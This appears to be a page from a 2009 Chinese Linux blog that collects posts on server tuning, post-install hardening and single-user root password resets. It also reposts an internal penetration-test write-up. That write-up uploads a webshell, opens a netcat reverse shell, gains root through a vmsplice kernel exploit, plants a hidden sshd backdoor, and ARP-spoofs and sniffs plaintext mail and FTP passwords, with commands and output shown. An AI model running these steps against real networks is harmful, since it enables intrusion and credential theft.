正在加载...
分页: 13/20 第一页 上页 8 9 10 11 12 13 14 15 16 17 下页 最后页 [ 显示模式: 摘要 | 列表 ]

Linux服务器一些简单优化

[ 2009/02/10 20:27 | by selboo ]
1,关闭不需要的服务

    这个应该很容易理解的,凡是我们的系统不需要的服务,一概关闭,
    这样一个好处是减少内存和CPU时间的占用,另一个好处相对可以提高安全性
  
    那么哪些服务是肯定要保留的呢?
    在linux机器上通常有四项服务是必须保留的

     iptables
             linux下强大的防火墙,只要机器需要连到网上,哪里离得开它
     network
             linux机器的网络,如果不上网可以关闭,只要上网当然要打开它
     sshd
             这是openssh server,如果你的机器不是本地操作,而是托管到IDC机房,
              那么访问机器时需要通过这个sshd服务进行
     syslog
            这是linux系统的日志系统,必须要有,
            否则机器出现问题时会找不到原因

    除了这四项必需的服务之外,其他的服务需要保留哪些呢?
    这时就可以根据系统的用途而定,比如:数据库服务器,就需要启用mysqld(或oracle)web服务器,就需要启用apache
  
2,关闭不需要的tty

请编辑你的/etc/inittab
找到如下一段:
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

这段命令使init为你打开了6个控制台,分别可以用alt+f1到alt+f6进行访问此6个控制台默认都驻留在内存中,事实上没有必要使用这么多的你用ps auxf这个命令可以看到,是六个进程
root      3004  0.0  0.0  1892  412 tty1     Ss+  Jun29   0:00 /sbin/mingetty tty1
root      3037  0.0  0.0  2492  412 tty2     Ss+  Jun29   0:00 /sbin/mingetty tty2
root      3038  0.0  0.0  2308  412 tty3     Ss+  Jun29   0:00 /sbin/mingetty tty3
root      3051  0.0  0.0  1812  412 tty4     Ss+  Jun29   0:00 /sbin/mingetty tty4
root      3056  0.0  0.0  2116  412 tty5     Ss+  Jun29   0:00 /sbin/mingetty tty5
root      3117  0.0  0.0  2396  412 tty6     Ss+  Jun29   0:00 /sbin/mingetty tty6

如何关闭这些进程?通常我们保留前2个控制台就可以了,把后面4个用#注释掉就可以了

然后无需重启机器,只需要执行 init q 这个命令即可
init q
q作为参数的含义:重新执行/etc/inittab中的命令

3,如何关闭ipv6?

   ipv6目前我们还不需要,但系统安装完成后它会作为模块常驻核心,没有必要,
   可以用这个步骤来关闭它:
   首先编辑网络配置文件:
   vi /etc/sysconfig/network
   修改
   NETWORKING_IPV6=yes

   为
    NETWORKING_IPV6=no

   然后关闭其模块:vi /etc/modprobe.conf
   在文件中添加以下两行
    alias net-pf-10 off
    alias ipv6 off

   修改完成后需重启机器使之生效

4,如何关闭atime?

    一个linux文件默认有3个时间:
         atime:对此文件的访问时间
         ctime:此文件inode发生变化的时间
         mtime:此文件的修改时间

  如果有多个小文件时通常没有必要记录文件的访问时间,  这样可以减少磁盘的io,比如web服务器的页面上有多个小图片

  如何进行设置呢?
  修改文件系统的配置文件:vi /etc/fstab
  在包含大量小文件的分区中使用noatime,nodiratime两项
  例如:
  /dev/md5                /data/pics1           ext3    noatime,nodiratime 0 0
  
  这样文件被访问时就不会再产生写磁盘的io

5,一定要让你的服务器运行在level 3上
  做法:
      vi /etc/inittab
      
      id:3:initdefault:
  让服务器运行X是没有必要的

    6,优化sshd
    
          X11Forwarding no        //不进行x图形的转发
          UseDNS no               //不对IP地址做反向的解析
            
    7,优化shell
         修改命令history记录
          # vi /etc/profile
         找到 HISTSIZE=1000 改为 HISTSIZE=100
         然后 source /etc/profile

Linux安装以后一些操作

[ 2009/01/31 15:38 | by selboo ]
1、建立一个普通权限的用户
      因为root用户对系统具有全权的操作权限,为了避免一些失误的操作,建议在一般情况下,以一般用户登录系统,必要的时候需要root操作权限时,再通过"su -"命令来登录为root用户进行操作.
useradd selboo
passwd selboo
usermod -G selboo selboo
修改pam配置,使非group组用户不能使用su命令登录为root:
vi /etc/pam.d/su
找到
#auth required /lib/security/$ISA/pam_wheel.so use_uid
将行首的 # 去掉.
然后
vi /etc/login.defs
在文件末尾加上
SU_WHEEL_ONLY yes

2、安装yum加速工具,并更新系统
yum install yum-fastestmirror -y
yum upgrade -y

3、安装mlocate工具
yum install mlocate -y

4、root邮件的修改
在系统出现错误或有重要通知发送邮件给root的时候,让系统自动转送到我们通常使用的邮箱中,这样方便查阅相关报告和日志.
vi /etc/aliases
在文件末尾加上
root: root@selboo.com.cn

5、locate命令设置
vi /etc/updatedb.conf
在末尾增加
DAILY_UPDATE=yes
然后运行
updatedb

6、关闭不必要的服务
比如cups
/etc/init.d/cups stop
chkconfig cups off
除了以下服务以外,其他服务默认的都可以采用刚才的方法关闭:
atd
crond
irqbalance
lvm2-monitor
microcode_ctl
network
sendmail
sshd
syslog

7、停止ipv6
vi /etc/modprobe.conf
在文件末尾加上
alias net-pf-10 off
alias ipv6 off

8、关闭SELinux
vi /etc/selinux/config
将其中的
SELINUX=enforcing
改为
SELINUX=disabled

9、安装sudo工具
yum install sudo -y
安装好了以后,修改sudo的配置
vi /etc/sudousers

# %wheel ALL=(ALL) NOPASSWORD:ALL
去掉前面的 # , 然后保存文件.
这样修改了以后,只有所有属于wheel组的用户能执行sudo命令,并且执行sudo命令时只需要输入自己的密码即可.

10、修改SSH配置
vi /etc/ssh/sshd_config
增加ServerKey的强度
找到
#ServerKeyBits 768
改为
ServerKeyBits 1024
不允许root用户直接登录
#PermitRootLogin Yes
改为
PermitRootLogin no
禁止空密码登录
找到
#PermitEmptyPasswords no
去掉前面的 #
全部修改完了以后,重启服务器
init 6
Tags: , ,

Linux本地root密码破解

[ 2009/01/02 16:51 | by selboo ]
(一)RedHat/CentOS/Fedora 系统密码破解

1.在grub选项菜单按E进入编辑模式
2.编辑kernel 那行最后加上S (或者Single)
3.按B,启动到single-user mode
4.进入后执行下列命令
# mount -t proc proc /proc
# mount -o remount,rw /
#passwd
#sync
#reboot

(二)Debian linux 系统密码破解

1.在grub选项菜单'Debian GNU/Linux,...(recovery mode)',按e进入编辑模式
2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash,按b执行重启
3.进入后执行下列命令
root@(none)#mount -a
root@(none)#passwd root
root@(none)#reboot

(三)Freebsd 系统密码破解

1.开机进入引导菜单
2.选择每项(按4)进入单用户模式
3.进入之后输入一列命令
root@#mount -a
root@#fsck -y
root@#passwd(修改密码命令)
root@#root(要破解密码的用户名)
Enter new unix password:
root@#init 6 (重启)

(四)Solaris 系统密码破解

1.在grub选项菜中选择solaris failasfe 项
2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y
3.就进入单用户模式
4.输入下列命令:passwd
root@#init 6 (重启)

(五)NetBsd 系统密码破解

1.开机:当出现提示符号并开始倒数五秒时, 键入以下指令:
> boot -s (进入单用户模式命令)
2.在以下的提示符号中
Enter pathname of shell or RETURN for sh:
按下 Enter。
3.键入以下指令:
# mount -a
# fsck -y
4.使用 passwd 更改 root 的密码。
5.使用 exit 指令进入多人模式。

(六)SUSE 系统密码破解

1.重新启动机器,在出现grub引导界面后,在启动linux的选项里加上init=/bin/bash,通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash,出现命令行。
2.稍等片刻出现(none)#:命令行。
3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写,有了读写权限后就可以通过passwd命令修改密码了。
4.这时输入passwd命令就可以重置密码了
5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态

Tags: , ,
来源:中国安全网
作者:vitter
blog:blog.securitycn.net

早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。

首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。

经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1

点击在新窗口中浏览此图片

利用tools里面的反弹连接:
首先在本地用nc -l -p 5546监听端口
如图2

点击在新窗口中浏览此图片

然后在nst上点Back connect
如图3(注意红色部分)

点击在新窗口中浏览此图片

成功登陆,
如图4

点击在新窗口中浏览此图片

图5

点击在新窗口中浏览此图片

在本地nc的窗口操作:

id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
如图6:(注意红色部分,上传成功)

点击在新窗口中浏览此图片

回到nc窗口:
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

gcc -o in in.c

ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#

已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。

擦擦pp,进行下一步我们的重点。

我们还是直接用后门sshd登录。还是ssh舒服点:)
如图7:

点击在新窗口中浏览此图片

在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。

[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install

准备工作已经ok。下面重新编译arpsniffer.c

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59

Now Start... .. .

在另一个登录里面用tcpdump监听下:

[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。如图8:

点击在新窗口中浏览此图片

经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。







Tags: , ,

Linux文件特殊属性

[ 2008/12/04 21:37 | by selboo ]
Linux文件特殊属性
      Linux文件特殊属性主要包括它的默认权限、隐藏属性和特殊权限(SUID/SGID/SBIT).
下面我们就来分别讲解它的这些特殊属性.

1. Linux文件默认权限:umask
      我们在新建立一个文件时,它都有自己的默认属性.它们的默认属性是通过"umask"值来设定的.那么如何来查看和设置umask值呢?

①.查看umask值
[root@localhost /]#umask(数字形式)
0022
[root@localhost /]#umask –S(符号形式)
u=rwx,g=rx,o=rx

      上面的命令显示出umask值的两种表现形式.我们看到数字表现出来的有4位数字,第一位数字用来表示特殊权限,我们在后面介绍,第二
Tags: , ,
分页: 13/20 第一页 上页 8 9 10 11 12 13 14 15 16 17 下页 最后页 [ 显示模式: 摘要 | 列表 ]